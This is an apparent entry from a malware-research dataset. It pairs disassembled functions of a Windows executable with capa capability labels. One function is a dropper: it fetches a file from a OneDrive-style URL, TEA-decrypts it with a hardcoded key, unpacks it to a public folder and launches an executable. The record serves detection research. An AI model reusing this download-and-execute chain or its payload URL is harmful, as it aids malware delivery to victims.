joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400092f0
Capabilities:
Hash data with crc32

Disassembly:
mov byte [rsp + 0x10], dl
mov qword [rsp + 8], rcx
movsx ecx, byte [rsp + 0x10]
mov rax, qword [rsp + 8]
mov eax, dword [rax]
xor eax, ecx
and eax, 0xff
movsxd rdx, eax
lea rcx, [0x14008b4f0]
mov rax, qword [rsp + 8]
mov eax, dword [rax]
shr eax, 8
mov ecx, dword [rcx + rdx*4]
xor ecx, eax
mov rax, qword [rsp + 8]
mov dword [rax], ecx
mov rax, qword [rsp + 8]
mov ecx, dword [rax]
and ecx, 0xff
mov rax, qword [rsp + 8]
add ecx, dword [rax + 4]
mov rax, qword [rsp + 8]
mov dword [rax + 4], ecx
mov rax, qword [rsp + 8]
mov ecx, dword [rax + 4]
imul ecx, ecx, 0x8088405
add ecx, 1
mov rax, qword [rsp + 8]
mov dword [rax + 4], ecx
mov rax, qword [rsp + 8]
mov ecx, dword [rax + 4]
shr ecx, 0x18
mov rax, qword [rsp + 8]
mov eax, dword [rax + 8]
xor eax, ecx
and eax, 0xff
mov edx, eax
lea rcx, [0x14008b4f0]
mov rax, qword [rsp + 8]
mov eax, dword [rax + 8]
shr eax, 8
mov ecx, dword [rcx + rdx*4]
xor ecx, eax
mov rax, qword [rsp + 8]
mov dword [rax + 8], ecx
ret

Function at 0x14000a730
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov rax, qword [rsp + 0x58]
imul rax, qword [rsp + 0x60]
mov dword [rsp + 0x34], eax
mov rax, qword [rsp + 0x68]
movzx eax, byte [rax]
test eax, eax
je 0x14000a7ab
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x3c]
mov r8d, dword [rsp + 0x34]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x68]
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0
jne 0x14000a79e
mov rax, qword [rsp + 0x68]
mov byte [rax + 0x10], 1
mov eax, dword [rsp + 0x3c]
xor edx, edx
div qword [rsp + 0x58]
jmp 0x14000a820
mov rax, qword [rsp + 0x68]
mov ecx, dword [rax + 0x2c]
add ecx, dword [rsp + 0x34]
mov rax, qword [rsp + 0x68]
cmp ecx, dword [rax + 0x28]
jbe 0x14000a7d7
mov rdx, qword [rsp + 0x68]
mov rax, qword [rsp + 0x68]
mov ecx, dword [rax + 0x2c]
mov eax, dword [rdx + 0x28]
sub eax, ecx
mov dword [rsp + 0x34], eax
mov r8d, dword [rsp + 0x34]
mov rax, qword [rsp + 0x68]
mov edx, dword [rax + 0x2c]
mov rax, qword [rsp + 0x68]
add rdx, qword [rax + 0x20]
mov rcx, qword [rsp + 0x50]
call fcn.140020c50
mov r11d, dword [rsp + 0x34]
mov dword [rsp + 0x30], r11d
mov rax, qword [rsp + 0x68]
mov ecx, dword [rax + 0x2c]
add ecx, dword [rsp + 0x30]
mov rax, qword [rsp + 0x68]
mov dword [rax + 0x2c], ecx
mov eax, dword [rsp + 0x30]
xor edx, edx
div qword [rsp + 0x58]
add rsp, 0x48
ret
Function at 0x14000c730
Capabilities:
Get common file path

Disassembly:
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov rax, qword [rsp + 0x50]
cmp qword [rax], 0
jne 0x14000c75e
mov rax, qword [rsp + 0x50]
cmp dword [rax + 8], 0xffffffff
je 0x14000c768
mov eax, 0x1000000
jmp 0x14000c878
mov rdx, qword [rsp + 0x50]
add rdx, 0x150
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov rcx, qword [rsp + 0x50]
add rcx, 0x150
call fcn.14001faf0
mov r11, rax
mov rax, qword [rsp + 0x50]
movzx eax, byte [rax + r11 + 0x14f]
mov byte [rsp + 0x28], al
movsx eax, byte [rsp + 0x28]
cmp eax, 0x5c
je 0x14000c7d1
movsx eax, byte [rsp + 0x28]
cmp eax, 0x2f
je 0x14000c7d1
mov rcx, qword [rsp + 0x50]
add rcx, 0x150
lea rdx, [0x14008bb48]
call fcn.140020ae0
cmp dword [rsp + 0x68], 1
jne 0x14000c824
mov r9d, 1
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0xffffffff
je 0x14000c803
mov dword [rsp + 0x38], 1
jmp 0x14000c80b
mov dword [rsp + 0x38], 0
movzx eax, byte [rsp + 0x38]
mov byte [rsp + 0x34], al
movzx eax, byte [rsp + 0x34]
test eax, eax
jne 0x14000c824
mov eax, 0x2000000
jmp 0x14000c878
lea r9, [rsp + 0x2c]
mov r8d, dword [rsp + 0x68]
mov edx, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call fcn.14000a2c0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14000c84f
mov eax, dword [rsp + 0x2c]
jmp 0x14000c878
mov rcx, qword [rsp + 0x20]
call fcn.14000abe0
mov r11, rax
mov rax, qword [rsp + 0x50]
mov qword [rax], r11
mov rax, qword [rsp + 0x50]
cmp qword [rax], 0
jne 0x14000c876
mov eax, 0x200
jmp 0x14000c878
xor eax, eax
add rsp, 0x48
ret
Function at 0x14000d500
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x278
mov rax, qword [0x140097e48]
xor rax, rsp
mov qword [rsp + 0x260], rax
cmp qword [rsp + 0x280], 0
je 0x14000d551
mov rcx, qword [rsp + 0x280]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x14000d551
xor edx, edx
mov rcx, qword [rsp + 0x280]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rax, qword [rsp + 0x288]
movsx eax, byte [rax]
test eax, eax
jne 0x14000d565
jmp 0x14000d6a4
mov rax, qword [rsp + 0x288]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0x148]
movsx eax, byte [rax]
test eax, eax
je 0x14000d5d1
mov rax, qword [rsp + 0x148]
movsx eax, byte [rax]
cmp eax, 0x2f
je 0x14000d5ae
mov rax, qword [rsp + 0x148]
movsx eax, byte [rax]
cmp eax, 0x5c
jne 0x14000d5bb
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x148]
add rax, 1
mov qword [rsp + 0x148], rax
jmp 0x14000d57f
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x288]
cmp qword [rsp + 0x20], rax
je 0x14000d653
mov rax, qword [rsp + 0x288]
mov r8, qword [rsp + 0x20]
sub r8, rax
mov rdx, qword [rsp + 0x288]
lea rcx, [rsp + 0x150]
call fcn.140020c50
mov r11, qword [rsp + 0x288]
mov rax, qword [rsp + 0x20]
sub rax, r11
mov byte [rsp + rax + 0x150], 0
lea rdx, [rsp + 0x150]
mov rcx, qword [rsp + 0x280]
call fcn.14000d500
mov rax, qword [rsp + 0x140]
add rax, 1
mov qword [rsp + 0x140], rax
mov byte [rsp + 0x30], 0
cmp qword [rsp + 0x280], 0
je 0x14000d675
mov rdx, qword [rsp + 0x280]
lea rcx, [rsp + 0x30]
call fcn.140020b80
mov rdx, qword [rsp + 0x288]
lea rcx, [rsp + 0x30]
call fcn.140020ae0
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x14000d6a4
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.14001f960
add rsp, 0x278
ret
Function at 0x14000e380
Capabilities:
Encrypt data using tea

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov dword [rsp + 8], 0
mov rax, qword [rsp + 0x30]
mov eax, dword [rax]
mov dword [rsp], eax
mov rax, qword [rsp + 0x38]
mov eax, dword [rax]
mov dword [rsp + 4], eax
mov dword [rsp + 0xc], 0x9e3779b9
mov eax, dword [rsp + 0xc]
shl eax, 3
mov dword [rsp + 8], eax
mov dword [rsp + 0x10], 0
jmp 0x14000e3d8
mov eax, dword [rsp + 0x10]
add eax, 1
mov dword [rsp + 0x10], eax
cmp dword [rsp + 0x10], 8
jge 0x14000e45c
mov edx, dword [rsp]
shl edx, 4
mov rax, qword [rsp + 0x40]
add edx, dword [rax + 8]
mov ecx, dword [rsp + 8]
mov eax, dword [rsp]
add eax, ecx
xor edx, eax
mov eax, dword [rsp]
shr eax, 5
mov rcx, qword [rsp + 0x40]
add eax, dword [rcx + 0xc]
mov ecx, edx
xor ecx, eax
mov eax, dword [rsp + 4]
sub eax, ecx
mov dword [rsp + 4], eax
mov edx, dword [rsp + 4]
shl edx, 4
mov rax, qword [rsp + 0x40]
add edx, dword [rax]
mov ecx, dword [rsp + 8]
mov eax, dword [rsp + 4]
add eax, ecx
xor edx, eax
mov eax, dword [rsp + 4]
shr eax, 5
mov rcx, qword [rsp + 0x40]
add eax, dword [rcx + 4]
mov ecx, edx
xor ecx, eax
mov eax, dword [rsp]
sub eax, ecx
mov dword [rsp], eax
mov ecx, dword [rsp + 0xc]
mov eax, dword [rsp + 8]
sub eax, ecx
mov dword [rsp + 8], eax
jmp 0x14000e3cd
mov rcx, qword [rsp + 0x30]
mov eax, dword [rsp]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x38]
mov eax, dword [rsp + 4]
mov dword [rcx], eax
add rsp, 0x28
ret

Function at 0x14000e500
Capabilities:
Read file on windows
Write file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov dword [rsp + 0x38], 0
mov qword [rsp + 0x20], 0
lea r8, [0x14008bbd4]
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0x28]
call fcn.1400206b8
mov dword [rsp + 0x3c], eax
mov r8d, 2
xor edx, edx
mov rcx, qword [rsp + 0x28]
call fcn.140021470
mov rcx, qword [rsp + 0x28]
call fcn.1400216e4
mov dword [rsp + 0x38], eax
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x28]
call fcn.140021470
mov ecx, dword [rsp + 0x38]
call fcn.14000ea38
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r8d, dword [rsp + 0x38]
mov r9, qword [rsp + 0x28]
mov edx, 1
mov rcx, qword [rsp + 0x20]
call fcn.140021a68
mov dword [rsp + 0x38], eax
mov rcx, qword [rsp + 0x28]
call fcn.1400204fc
mov r8, qword [rsp + 0x60]
mov edx, dword [rsp + 0x38]
mov rcx, qword [rsp + 0x20]
call fcn.14000e480
lea r8, [0x140089f88]
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.1400206b8
mov r8d, dword [rsp + 0x38]
mov r9, qword [rsp + 0x30]
mov edx, 1
mov rcx, qword [rsp + 0x20]
call fcn.1400208b8
mov rcx, qword [rsp + 0x30]
call fcn.1400204fc
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
call fcn.14000ea40
add rsp, 0x58
ret
Function at 0x14000e620
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x188
mov rax, qword [0x140097e48]
xor rax, rsp
mov qword [rsp + 0x170], rax
lea rdx, [0x140089e3d]
mov rcx, qword [rsp + 0x198]
call fcn.14000e010
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14000e66b
xor eax, eax
jmp 0x14000e767
mov rdx, qword [rsp + 0x190]
mov rcx, qword [rsp + 0x20]
call fcn.14000e1d0
mov dword [rsp + 0x160], eax
cmp dword [rsp + 0x160], 0
je 0x14000e69f
mov rcx, qword [rsp + 0x20]
call fcn.14000e250
xor eax, eax
jmp 0x14000e767
lea r8, [rsp + 0x30]
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x20]
call fcn.14000e040
mov dword [rsp + 0x160], eax
cmp dword [rsp + 0x160], 0
je 0x14000e6d5
mov rcx, qword [rsp + 0x20]
call fcn.14000e250
xor eax, eax
jmp 0x14000e767
mov eax, dword [rsp + 0x30]
mov dword [rsp + 0x164], eax
mov dword [rsp + 0x168], 0
jmp 0x14000e6fe
mov eax, dword [rsp + 0x168]
add eax, 1
mov dword [rsp + 0x168], eax
mov eax, dword [rsp + 0x164]
cmp dword [rsp + 0x168], eax
jge 0x14000e74a
lea r8, [rsp + 0x30]
mov edx, dword [rsp + 0x168]
mov rcx, qword [rsp + 0x20]
call fcn.14000e040
mov dword [rsp + 0x160], eax
lea r8, [rsp + 0x34]
mov edx, dword [rsp + 0x168]
mov rcx, qword [rsp + 0x20]
call fcn.14000e190
mov dword [rsp + 0x160], eax
jmp 0x14000e6ed
mov rcx, qword [rsp + 0x20]
call fcn.14000e250
mov rcx, qword [rsp + 0x198]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, 1
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.14001f960
add rsp, 0x188
ret

Function at 0x14000e780
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x118
mov qword [rsp + 0x100], 0xfffffffffffffffe
mov rax, qword [0x140097e48]
xor rax, rsp
mov qword [rsp + 0x108], rax
xor edx, edx
mov rcx, qword [rsp + 0x120]
call fcn.140018780
nop
mov rcx, qword [rsp + 0x120]
lea rax, vtable.CMyApp.0
mov qword [rcx], rax
lea rcx, [rsp + 0x40]
call fcn.1400022d0
nop
lea rdx, str.C:UsersPublicMusicen.dat
lea rcx, [rsp + 0xb0]
call fcn.140002850
nop
lea rdx, str.https:__onw.cc_1drv.ms_urlhttps:__1drv.ms_u_s_AkFPFpZOd6wAgm3MkV6h77yBmp8x_eCGXh2w
lea rcx, [rsp + 0xd8]
call fcn.140002850
nop
lea r8, [rsp + 0xb0]
lea rdx, [rsp + 0xd8]
lea rcx, [rsp + 0x40]
call fcn.1400025c0
nop
lea rcx, [rsp + 0xd8]
call fcn.1400028b0
nop
lea rcx, [rsp + 0xb0]
call fcn.1400028b0
lea rcx, [rsp + 0x40]
call fcn.1400023d0
lea r8, str.C:UsersPublicMusicde.dat
lea rdx, str.C:UsersPublicMusicen.dat
lea rcx, str.5B18C3AD8CFR4D39
call fcn.14000e500
lea rdx, str.C:UsersPublicMusicde.dat
lea rcx, str.C:UsersPublicPictures
call fcn.14000e620
lea rdx, str.BitTorrentEvernoteMouseTray.exe
lea rcx, str.C:UsersPublicPictures
call fcn.140020ae0
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], 0
lea r9, [0x140089e3d]
lea r8, str.C:UsersPublicPictures
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
lea rcx, [rsp + 0x40]
call fcn.140002380
nop
mov rax, qword [rsp + 0x120]
mov rcx, qword [rsp + 0x108]
xor rcx, rsp
call fcn.14001f960
add rsp, 0x118
ret
Function at 0x14000f8f0
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, rcx
mov rcx, qword [rcx + 0x40]
mov rbx, r8
call fcn.14001b734
mov rsi, rax
test rax, rax
je 0x14000f96c
mov rcx, rax
call qword [sym.imp.USER32.dll_GetDlgCtrlID]
mov edi, eax
test rbx, rbx
je 0x14000f967
cmp dword [rbx], 0x40
jb 0x14000f967
mov rcx, qword [rbp + 0x40]
or dword [rbx + 4], 1
or qword [rbx + 0x30], 0xffffffffffffffff
mov qword [rbx + 8], rcx
xor r9d, r9d
xor r8d, r8d
mov edx, 0x87
mov rcx, rsi
mov qword [rbx + 0x10], rsi
call qword [sym.imp.USER32.dll_SendMessageA]
bt rax, 0xd
jb 0x14000f967
or dword [rbx + 4], 0x80000002
mov rax, rdi
jmp 0x14000f970
or rax, 0xffffffffffffffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140023118
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov dword [rsp + 0x18], r8d
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r12d, r8d
mov ebx, edx
mov r15d, ecx
mov ecx, 8
call fcn.14002f300
nop
cmp dword [0x14009d7d8], 1
je 0x1400230c4
mov dword [0x14009d7d4], 1
mov byte [0x14009d7d0], r12b
test ebx, ebx
jne 0x1400230b0
mov rcx, qword [0x14009fbd8]
call sub.KERNEL32.dll_DecodePointer
mov rsi, rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14002309d
mov rcx, qword [0x14009fbd0]
call sub.KERNEL32.dll_DecodePointer
mov rdi, rax
mov qword [rsp + 0x20], rax
mov r14, rsi
mov qword [rsp + 0x28], rsi
mov r13, rax
mov qword [rsp + 0x38], rax
sub rdi, 8
mov qword [rsp + 0x20], rdi
cmp rdi, rsi
jb 0x14002303c
call fcn.140026654
cmp qword [rdi], rax
jne 0x14002303c
jmp 0x140023022
cmp rdi, rsi
jb 0x14002309d
mov rcx, qword [rdi]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
call fcn.140026654
mov qword [rdi], rax
call rbx
mov rcx, qword [0x14009fbd8]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
mov rcx, qword [0x14009fbd0]
call sub.KERNEL32.dll_DecodePointer
cmp r14, rbx
jne 0x14002307b
cmp r13, rax
je 0x14002309b
mov r14, rbx
mov qword [rsp + 0x28], rbx
mov rsi, rbx
mov qword [rsp + 0x30], rbx
mov r13, rax
mov qword [rsp + 0x38], rax
mov rdi, rax
mov qword [rsp + 0x20], rax
jmp 0x140023022
lea rdx, [0x140078ba0]
lea rcx, [0x140078b88]
call fcn.140022e6c
lea rdx, [0x140078bb0]
lea rcx, [0x140078ba8]
call fcn.140022e6c
nop
test r12d, r12d
je 0x1400230d3
mov ecx, 8
call fcn.14002f200
test r12d, r12d
jne 0x1400230fe
mov dword [0x14009d7d8], 1
lea ecx, [r12 + 8]
call fcn.14002f200
mov ecx, r15d
call fcn.140022e00
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor r8d, r8d
xor edx, edx
jmp 0x140022f8c

Function at 0x140023124
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x140022f8c
Function at 0x140023b23
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140097e48]
jne 0x14001f97a
rol rcx, 0x10
test cx, 0xffff
jne 0x14001f976
repz ret
ror rcx, 0x10
jmp 0x140023a7c
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14009d880]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x14009d978]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140023b01
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14009d880]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140023b23
mov rax, qword [rsp + 0x88]
mov qword [0x14009d978], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14009d918], rax
mov rax, qword [0x14009d978]
mov qword [0x14009d7f0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14009d900], rax
mov dword [0x14009d7e0], 0xc0000409
mov dword [0x14009d7e4], 1
mov rax, qword [0x140097e48]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140097e50]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14009d878], eax
mov ecx, 1
call fcn.14002746c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14007bfa0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14009d878], 0
jne 0x140023baa
mov ecx, 1
call fcn.14002746c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140032f3c
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.140026654
xor ebx, ebx
mov rdi, rax
cmp qword [0x14009e5c0], rbx
jne 0x140033042
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x140033117
lea rdx, [0x14007db48]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140033117
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, [0x14007db38]
mov rcx, rsi
mov qword [0x14009e5c0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, [0x14007db20]
mov rcx, rsi
mov qword [0x14009e5c8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
mov qword [0x14009e5d0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x14009e5e0], rax
test rax, rax
je 0x140033039
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x14009e5d8], rax
jmp 0x140033049
mov rax, qword [0x14009e5d8]
jmp 0x140033050
mov rax, qword [0x14009e5d8]
mov r11, qword [0x14009e5e0]
cmp rax, rdi
je 0x1400330b8
cmp r11, rdi
je 0x1400330b8
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x14009e5e0]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x1400330b8
test rax, rax
je 0x1400330b8
call rsi
test rax, rax
je 0x1400330b2
lea rcx, [rsp + 0x88]
mov r9d, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x1400330b2
test byte [rsp + 0x38], 1
jne 0x1400330b8
bts ebp, 0x15
jmp 0x1400330f6
mov rcx, qword [0x14009e5c8]
cmp rcx, rdi
je 0x1400330f6
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x1400330f6
call rax
mov rbx, rax
test rax, rax
je 0x1400330f6
mov rcx, qword [0x14009e5d0]
cmp rcx, rdi
je 0x1400330f6
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x1400330f6
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x14009e5c0]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x140033117
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x140033119
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x140036590
Capabilities:
Initialize winsock library

Disassembly:
sub rsp, 0x1d8
mov rax, qword [0x140097e48]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
lea rdx, [rsp + 0x20]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x1400365f1
movzx eax, word [rsp + 0x20]
cmp al, 2
jne 0x1400365eb
shr ax, 8
cmp al, 2
jne 0x1400365eb
call fcn.140036a40
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.14001f960
add rsp, 0x1d8
ret
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 2
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.14001f960
add rsp, 0x1d8
ret
Function at 0x140038a40
Capabilities:
Generate random numbers via winapi

Disassembly:
mov rcx, rdx
mov rdx, r8
jmp 0x14004cd60
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rdi, rcx
mov rbx, rdx
lea rcx, [rsp + 0x50]
mov r9d, 1
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x50], 0
mov dword [rsp + 0x20], 0xf0000040
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x14004cdbc
mov rcx, qword [rsp + 0x50]
mov r8, rdi
mov edx, ebx
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rsp + 0x50]
xor edx, edx
test eax, eax
jne 0x14004cdcc
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, 2
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rbx, qword [rsp + 0x40]
xor eax, eax
add rsp, 0x30
pop rdi
ret

Function at 0x140038aa0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp dword [rcx + 4], 2
mov rax, rdx
je 0x140038aac
xor eax, eax
ret
mov rdx, qword [rcx + 0x20]
mov r9, r8
mov r8, rax
add rdx, 4
mov ecx, 2
jmp fcn.14004ed00
Function at 0x140043a00
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, r9
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_recv]
movsxd rcx, eax
cmp rcx, 0xffffffffffffffff
jne 0x140043a3b
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, Ordinal_60
mov edx, 0x51
cmp eax, 0x2733
cmove ecx, edx
mov eax, ecx
add rsp, 0x20
pop rbx
ret
mov qword [rbx], rcx
xor eax, eax
add rsp, 0x20
pop rbx
ret

Function at 0x140043bc0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov r10, qword [rcx + 0x268]
mov rdi, r9
mov rsi, r8
mov rbx, rcx
test r10, r10
je 0x140043c03
mov rax, qword [rcx + 0x1b8]
mov qword [rsp + 0x20], rax
call r10
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
test edx, edx
js 0x140043c4a
cmp edx, 2
jg 0x140043c4a
mov r9, qword [rbx + 0x1b0]
movsxd rax, edx
mov edx, 2
lea rcx, [rax + rax*2]
lea rax, [0x14007f068]
lea r8d, [rdx - 1]
add rcx, rax
call fcn.1400208b8
mov r9, qword [rbx + 0x1b0]
mov r8d, 1
mov rdx, rdi
mov rcx, rsi
call fcn.1400208b8
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
xor eax, eax
add rsp, 0x30
pop rdi
ret

Function at 0x1400442d0
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbx, rcx
movsxd rcx, edx
mov rax, qword [rbx + 0x5e0]
mov rbp, qword [rbx + rcx*8 + 0x210]
mov rdi, rcx
shl rdi, 5
mov rsi, qword [rdi + rbx + 0x260]
sub rsi, qword [rdi + rbx + 0x268]
test byte [rax + 0x74], 3
je 0x1400443e7
lea rax, [0x140044020]
cmp qword [rbx + rcx*8 + 0x238], rax
jne 0x1400443e7
cmp qword [rdi + rbx + 0x258], 0
je 0x140044343
test rsi, rsi
je 0x1400443e7
or r8, 0xffffffffffffffff
xor r9d, r9d
mov rcx, rbp
or rdx, r8
call fcn.140036de0
cmp eax, 0xffffffff
je 0x1400443e7
test al, 1
je 0x1400443e7
cmp qword [rdi + rbx + 0x258], 0
jne 0x1400443b9
mov ecx, 0x8000
mov qword [rdi + rbx + 0x260], 0x8000
call qword [fcn.1400210d0]
mov rsi, qword [rdi + rbx + 0x260]
xor ecx, ecx
mov qword [rdi + rbx + 0x268], rcx
mov qword [rdi + rbx + 0x270], rcx
